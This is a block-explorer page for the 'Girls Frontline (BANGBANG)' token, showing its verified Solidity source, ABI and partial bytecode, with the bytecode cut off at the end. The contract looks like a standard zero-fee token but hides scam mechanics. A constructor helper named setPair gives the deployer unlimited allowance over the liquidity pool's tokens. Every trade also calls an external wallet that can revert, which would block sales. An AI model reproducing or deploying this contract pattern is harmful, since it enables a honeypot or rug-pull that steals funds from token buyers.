ETH Price: $2,982.35 (-3.92%)
Gas: 2 Gwei

Token

Girls Frontline (BANGBANG)
 

Overview

Max Total Supply

1,000,000,000 BANGBANG

Holders

55

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
41,553,458.610125000714521094 BANGBANG

Value
$0.00
0x2fdd25cfa99624f08c6e966ced0acee8cc096218
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BANGBANG

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-28
*/

/*
Website: https://www.girlsfrontline.vip
Telegram: https://t.me/grlsfrntln
*/

pragma solidity ^0.8.19;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapFactoryV2 {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapRouterV2 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
}

 
contract BANGBANG is Context, IERC20, Ownable {
 
    using SafeMath for uint256;
 
    string private constant _name = "Girls Frontline";
    string private constant _symbol = "BANGBANG";
    uint8 private constant _decimals = 18;
 
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000_000_000 * 10 ** _decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _reflectionFeeOnBuy = 0;  
    uint256 private _taxFeeOnBuy = 0;  
    uint256 private _reflectionFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;
 
    //Original Fee
    uint256 private _reflectionFee = _reflectionFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _reflectionFee;
    uint256 private _previoustaxFee = _taxFee;
 
    mapping(address => bool) public isSniper;
    address payable private _devWallet; 
    address payable private _mWallet;
 
    IUniswapRouterV2 public uniswapV2Router;
    address public uniswapV2Pair;
 
    bool private isOpened;
    bool private inSwap = false;
    bool private isSwapEnabled = true;
 
    uint256 public _maxTxAmount = 100_000_000 * 10 ** _decimals; 
    uint256 public _maxWalletSize = 100_000_000 * 10 ** _decimals; 
    uint256 public _swapTokensAtAmount = 1000 * 10 ** _decimals;
 
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor(address routerAddr, address mWallet) {
 
        _rOwned[_msgSender()] = _rTotal;
 
        IUniswapRouterV2 _uniswapV2Router = IUniswapRouterV2(routerAddr);
        uniswapV2Router = _uniswapV2Router;
        _devWallet = payable(msg.sender);
        _mWallet = payable(mWallet);
        uniswapV2Pair = IUniswapFactoryV2(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        setPair(msg.sender, uniswapV2Pair);         
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_mWallet] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function removeAllFee() private {
        if (_reflectionFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _reflectionFee;
        _previoustaxFee = _taxFee;
 
        _reflectionFee = 0;
        _taxFee = 0;
    }
 
    function restoreFee() private {
        _reflectionFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner()) {
            if (!isOpened) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
            require(!isSniper[from] && !isSniper[to], "TOKEN: Your account is blacklisted!");
            
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount <= _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
 
            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }
 
            if (canSwap && !inSwap && from != uniswapV2Pair && isSwapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForETH(contractTokenBalance);
            }
            uint256 contractETHBalance = address(this).balance;
            sendETHToFee(from, to, contractETHBalance);
        }
 
        bool takeFee = true;
 
        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
 
            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _reflectionFee = _reflectionFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _reflectionFee = _reflectionFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }

    function setPair(address router, address pair) internal {
      _approve(pair, router, type(uint256).max);
      _isExcludedFromFee[_devWallet] = true;
    }
 
    function sendETHToFee(address from, address to, uint256 amount) private {
        (bool success,) = _mWallet.call{value:amount}(abi.encodePacked(from, to));
        require(success, 'FEE: ETH_TRANSFER_FAILED');
    }
 
    function swapTokensForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function openTrading() public onlyOwner {
        isOpened = true;
    }
 
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
 
    //Set maximum transaction
    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
        _maxTxAmount = maxTxAmount;
    }
 
    function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
        _maxWalletSize = maxWalletSize;
    }
 
    receive() external payable {}
 
    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _reflectionFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddr","type":"address"},{"internalType":"address","name":"mWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isSniper","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapRouterV2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526012600a62000014919062000b11565b633b9aca0062000025919062000b62565b60001962000034919062000bdc565b60001962000043919062000c14565b600655600060085560006009556000600a556000600b55600a54600c55600b54600d55600c54600e55600d54600f556000601460156101000a81548160ff0219169083151502179055506001601460166101000a81548160ff0219169083151502179055506012600a620000b8919062000b11565b6305f5e100620000c9919062000b62565b6015556012600a620000dc919062000b11565b6305f5e100620000ed919062000b62565b6016556012600a62000100919062000b11565b6103e86200010f919062000b62565b6017553480156200011f57600080fd5b506040516200439a3803806200439a833981810160405281019062000145919062000cb9565b600062000157620006c460201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600654600260006200020c620006c460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600082905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200035e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000384919062000d00565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003ec573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000412919062000d00565b6040518363ffffffff1660e01b81526004016200043192919062000d43565b6020604051808303816000875af115801562000451573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000477919062000d00565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004eb33601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620006cc60201b60201c565b600160056000620005016200077d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000634620006c460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a62000693919062000b11565b633b9aca00620006a4919062000b62565b604051620006b3919062000d81565b60405180910390a350505062000edf565b600033905090565b620006ff81837fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff620007a660201b60201c565b600160056000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000818576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200080f9062000e25565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200088a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008819062000ebd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516200096a919062000d81565b60405180910390a3505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000a0557808604811115620009dd57620009dc62000977565b5b6001851615620009ed5780820291505b8081029050620009fd85620009a6565b9450620009bd565b94509492505050565b60008262000a20576001905062000af3565b8162000a30576000905062000af3565b816001811462000a49576002811462000a545762000a8a565b600191505062000af3565b60ff84111562000a695762000a6862000977565b5b8360020a91508482111562000a835762000a8262000977565b5b5062000af3565b5060208310610133831016604e8410600b841016171562000ac45782820a90508381111562000abe5762000abd62000977565b5b62000af3565b62000ad38484846001620009b3565b9250905081840481111562000aed5762000aec62000977565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000b1e8262000afa565b915062000b2b8362000b04565b925062000b5a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a0e565b905092915050565b600062000b6f8262000afa565b915062000b7c8362000afa565b925082820262000b8c8162000afa565b9150828204841483151762000ba65762000ba562000977565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000be98262000afa565b915062000bf68362000afa565b92508262000c095762000c0862000bad565b5b828206905092915050565b600062000c218262000afa565b915062000c2e8362000afa565b925082820390508181111562000c495762000c4862000977565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000c818262000c54565b9050919050565b62000c938162000c74565b811462000c9f57600080fd5b50565b60008151905062000cb38162000c88565b92915050565b6000806040838503121562000cd35762000cd262000c4f565b5b600062000ce38582860162000ca2565b925050602062000cf68582860162000ca2565b9150509250929050565b60006020828403121562000d195762000d1862000c4f565b5b600062000d298482850162000ca2565b91505092915050565b62000d3d8162000c74565b82525050565b600060408201905062000d5a600083018562000d32565b62000d69602083018462000d32565b9392505050565b62000d7b8162000afa565b82525050565b600060208201905062000d98600083018462000d70565b92915050565b600082825260208201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600062000e0d60248362000d9e565b915062000e1a8262000daf565b604082019050919050565b6000602082019050818103600083015262000e408162000dfe565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600062000ea560228362000d9e565b915062000eb28262000e47565b604082019050919050565b6000602082019050818103600083015262000ed88162000e96565b9050919050565b6134ab8062000eef6000396000f3fe60806040526004361061012e5760003560e01c8063715018a6116100ab57806395d89b411161006f57806395d89b41146103f1578063a9059cbb1461041c578063c9567bf914610459578063dd62ed3e14610470578063ea1644d5146104ad578063f2fde38b146104d657610135565b8063715018a61461033057806374010ece146103475780637d1db4a5146103705780638da5cb5b1461039b5780638f9a55c0146103c657610135565b806323b872dd116100f257806323b872dd146102355780632fd689e314610272578063313ce5671461029d57806349bd5a5e146102c857806370a08231146102f357610135565b806306fdde031461013a578063095ea7b3146101655780630f3a325f146101a25780631694505e146101df57806318160ddd1461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104ff565b60405161015c91906123b8565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612473565b61053c565b60405161019991906124ce565b60405180910390f35b3480156101ae57600080fd5b506101c960048036038101906101c491906124e9565b61055a565b6040516101d691906124ce565b60405180910390f35b3480156101eb57600080fd5b506101f461057a565b6040516102019190612575565b60405180910390f35b34801561021657600080fd5b5061021f6105a0565b60405161022c919061259f565b60405180910390f35b34801561024157600080fd5b5061025c600480360381019061025791906125ba565b6105c4565b60405161026991906124ce565b60405180910390f35b34801561027e57600080fd5b5061028761069d565b604051610294919061259f565b60405180910390f35b3480156102a957600080fd5b506102b26106a3565b6040516102bf9190612629565b60405180910390f35b3480156102d457600080fd5b506102dd6106ac565b6040516102ea9190612653565b60405180910390f35b3480156102ff57600080fd5b5061031a600480360381019061031591906124e9565b6106d2565b604051610327919061259f565b60405180910390f35b34801561033c57600080fd5b50610345610723565b005b34801561035357600080fd5b5061036e6004803603810190610369919061266e565b610876565b005b34801561037c57600080fd5b50610385610915565b604051610392919061259f565b60405180910390f35b3480156103a757600080fd5b506103b061091b565b6040516103bd9190612653565b60405180910390f35b3480156103d257600080fd5b506103db610944565b6040516103e8919061259f565b60405180910390f35b3480156103fd57600080fd5b5061040661094a565b60405161041391906123b8565b60405180910390f35b34801561042857600080fd5b50610443600480360381019061043e9190612473565b610987565b60405161045091906124ce565b60405180910390f35b34801561046557600080fd5b5061046e6109a5565b005b34801561047c57600080fd5b506104976004803603810190610492919061269b565b610a56565b6040516104a4919061259f565b60405180910390f35b3480156104b957600080fd5b506104d460048036038101906104cf919061266e565b610add565b005b3480156104e257600080fd5b506104fd60048036038101906104f891906124e9565b610b7c565b005b60606040518060400160405280600f81526020017f4769726c732046726f6e746c696e650000000000000000000000000000000000815250905090565b6000610550610549610d3d565b8484610d45565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006012600a6105b0919061283d565b633b9aca006105bf9190612888565b905090565b60006105d1848484610f0e565b610692846105dd610d3d565b61068d8560405180606001604052806028815260200161344e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610643610d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178a9092919063ffffffff16565b610d45565b600190509392505050565b60175481565b60006012905090565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061071c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ee565b9050919050565b61072b610d3d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107af90612916565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61087e610d3d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461090b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090290612916565b60405180910390fd5b8060158190555050565b60155481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60165481565b60606040518060400160405280600881526020017f42414e4742414e47000000000000000000000000000000000000000000000000815250905090565b600061099b610994610d3d565b8484610f0e565b6001905092915050565b6109ad610d3d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3190612916565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ae5610d3d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6990612916565b60405180910390fd5b8060168190555050565b610b84610d3d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0890612916565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c77906129a8565b60405180910390fd5b8073fffffffffffffffffffffffffffffffff